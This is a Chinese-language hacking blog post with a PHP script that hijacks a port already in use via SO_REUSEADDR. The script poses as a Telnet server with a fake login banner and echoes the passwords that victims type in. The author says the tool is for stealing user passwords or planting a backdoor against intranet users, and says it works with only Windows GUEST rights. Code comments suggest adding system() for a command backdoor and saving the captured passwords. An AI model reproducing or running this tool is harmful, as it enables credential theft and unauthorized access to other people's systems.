PHP下实现端口复用/劫持

PHP下实现端口复用/劫持
作者:CQXY

经常看到有朋友问端口复用,我花了一个晚上写了一点代码
本来想做成嗅叹转发的,无奈单线程的东西很局限,而且始终只能得到头行数据。我想要做成那样的,对于高手来说,不是困难的事。
如果你不懂如何配置,请参照我以前的文章《PHP-SOCKETS初步接触》。WIN下只要有GUEST权限即可用,而且通过配合
〈WINDOWS下装多个PHP〉 这篇文章,GUEST可以单独安装支持PHPSOCKETS的PHP。

假如监听127.0.0.1 ,访问共网IP不受影响,假如监听公网IP,127。0。0。1等IP不受影响。
这个可以用于欺骗用户密码,因为原来的服务不可用了。或者留成针对内网用户的后门。
最后欢迎加MSN:CQXY[AT]21CN。NET赐教。

#!/usr/bin/php -q
#c0dz by Darkness[BST]
#Team:www.bugkidz.org
#E-mail:cqxy[at]21cn.net
<?php
if ($argc != 3 || in_array($argc[1] , array('--help','-h','?')))
{
    echo "Use:#./$argv[0] www.bugkidz.org 192.168.0.1 21\r\n";
    echo "c0dz By Darkness[BST]";
    exit;
}
error_reporting(E_ALL);

set_time_limit(0);

ob_implicit_flush();

$host = $argv[1];
$port = $argv[2];
if (($sock = socket_cr&#101;ate(AF_INET, SOCK_STREAM, SOL_TCP)) < 0) {
   echo "socket_cr&#101;ate() failed: reason: " . socket_strerror($sock) . "\n";
} /*建立SOCKET*/
socket_set_option($sock,SOL_SOCKET,SO_REUSEADDR,1); /*设置SOCKET连接的属性为SO_REUSEADDR,这样才可以端口复用*/
if (($ret = socket_bind($sock, $host, $port)) < 0) {
   echo "socket_bind() failed: reason: " . socket_strerror($ret) . "\n";
}/*绑定端口*/

if (($ret = socket_listen($sock, 5)) < 0) {
   echo "socket_listen() failed: reason: " . socket_strerror($ret) . "\n";
}  /*开始监听*/

while(true) {

   if (($sniffer = socket_accept($sock)) < 0) {
       echo "socket_accept() failed: reason: " . socket_strerror($sniffer) . "\n";
       break;
   }
if ($port == 23)
    {
    $txt = "Welcome to the Telnet Server\r\n";
    $txt .="User:\r\n";
           socket_write($sniffer, $txt, strlen($txt));
    } /*这里是伪装信息,把自己伪装成原来的TELNET服务器,这样来骗取密码*/

   while(true) {

         if(($buf =@socket_read($sniffer, 2048, PHP_BINARY_READ)) ==false)
       {

        break;

       }

       if (!$buf = trim($buf)) {
           continue;
       }

       if ($buf == '!quit') {
           break;
       }
       if ($buf == '!shutdown') {
           socket_close($sniffer);
           break 2;        /*其实这里可以调用system(),搞成一个CMD后门,反正你想怎么改都可以*/
       }

       $sniff_data = "$buf\r\n";

       /* else socket_write($sniffer, $sniff_data, strlen($sniff_data));*/
       echo $sniff_data;
       /*输出字符串,这里可以加进文件处理,保存密码什么的*/
   }
   socket_close($sniffer);

}

socket_close($sock);
?>

随机日志

发表评论

0 评论.

Leave a Reply



[ Ctrl + Enter ]

*
To prove you're a person (not a spam script), type the security word shown in the picture. Click on the picture to hear an audio file of the word.
Click to hear an audio file of the anti-spam word